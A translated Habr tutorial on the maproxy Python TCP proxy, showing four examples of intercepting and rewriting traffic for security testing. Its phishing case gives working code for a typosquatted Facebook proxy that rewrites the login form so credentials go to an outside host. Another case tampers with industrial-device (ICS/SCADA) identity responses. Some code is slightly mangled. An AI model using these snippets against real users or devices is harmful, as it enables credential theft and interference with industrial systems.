The translation of the article was prepared on the eve of the start of the course
Abstract
Various types of security assessments, ranging from regular penetration testing and Red Team operations to hacking IoT / ICS devices and SCADA, involve working with binary network protocols, that is, in fact, intercepting and modifying network data between the client and the target. Sniffing network traffic is not a difficult task since we have tools such as Wireshark, Tcpdump or Scapy, but modification seems to be a more difficult task, since we will need to have a kind of interface to read network data, filter it, change it on the fly and send it back to the target host in near real time. In addition, it would be ideal if such a tool could automatically work with multiple parallel connections and be customizable using scripts.
One day I discovered a tool called
, the documentation quickly made it clear to me that maproxy
- just what I need. This is a fairly simple, versatile, and highly customizable TCP proxy. I tested this tool on some fairly complex applications, including ICS devices (which generate a lot of packets) to see if it could handle many concurrent connections, and the tool performed well.
This article will introduce you to on-the-fly network data processing with maproxy
.
Review
Tool maproxy
is based on Tornado, a popular and mature Python asynchronous networking framework.
In general, it can work in several modes:
TCP:TCP
β unencrypted TCP connections;TCP:SSL
ΠΈSSL:TCP
β with one-way encryption;SSL:SSL
- two-way encryption.
It comes as a library. For a quick start, you can use sample files that reflect the main
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Case 1 - simple bidirectional proxy
Based on tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
By default ProxyServer()
takes two arguments - the connection location and the target port. server.listen()
takes one argument - the port to listen for the incoming connection.
Script execution:
# python tcp2tcp.py
In order to test, we are going to connect to a local SSH server through our proxy script that is listening on 2222/tcp
port and connects to a standard port 22/tcp
SSH servers:
The welcome banner informs us that our sample script has successfully proxyed network traffic.
Case 2 - data modification
Another demo script logging_proxy.py
ideal for interacting with network data. The comments in the file describe class methods that you can modify to achieve your goal:
The most interesting here:
on_c2p_done_read
β to intercept data on the way from the client to the server;on_p2s_done_read
- reversed.
Let's try to change the SSH banner that the server returns to the client:
[β¦]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[β¦]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[β¦]
Execute the script:
As you can see, the client was misled because the SSH server name was changed to Β«DumnySSHΒ»
.
Case 3 - a simple phishing web page
There are an infinite number of uses for this tool. This time, let's focus on something more practical from Red Team's realm of operations. Let's imitate the landing m.facebook.com
and use a custom domain with an intentional typo, for example, m.facebok.com
. For demonstration purposes, let's just assume that the domain is registered by us.
We are going to establish an unencrypted network connection with our victim proxy and SSL Stream for the Facebook server (31.13.81.36
). To make this example work, we need to replace the HTTP host header and embed the correct hostname, and we'll disable response compression so we can easily access their content. Ultimately, we will replace the HTML form so that the login credentials are sent to us, instead of the Facebook servers:
[β¦]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[β¦]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/en/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[β¦]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[β¦]
In summary:
As you can see, we were able to successfully replace the original site.
Case 4 - Porting Ethernet/IP
I have been dealing with industrial devices and software (ICS/SCADA) for quite some time such as programmable controllers (PLCs), I/O modules, drives, relays, ladder programming environments and more. This case is for those who like industrial stuff. Hacking such solutions involves actively playing with network protocols. In the following example, I would like to show how you can modify ICS/SCADA network traffic.
To do this, you need the following:
- Network sniffer like Wireshark
- Ethernet/IP or just a SIP device, you can find it using the Shodan service;
- Our script is based on
maproxy
.
First, let's see what a typical CIP (Common Industrial Protocol) identification response looks like:
Device identification is carried out using the Ethernet/IP protocol, which is an extended version of the Ethernet protocol for industrial purposes, it wraps management protocols such as CIP. We are going to change the highlighted id name as seen in the screenshot. "NI-IndComm for Ethernet" using our proxy script. We could reuse the script logging_proxy.py
and similarly modify the class method on_p2s_done_read
, since we want a different identity name to be visible on the client.
Code:
[β¦]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[β¦]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[β¦]
In fact, we requested device identification twice, the second response is original, and the first one was modified on the fly.
And the last
In my opinion maproxy
a handy and simple tool that is also written in Python, so I believe that you too can benefit from its use. Of course, there are more sophisticated tools for processing and modifying network data, but they also require more attention and are usually created for a specific use case, for example, maproxy
you can quickly implement your ideas for intercepting network data, since the script examples are very clear.
Source: habr.com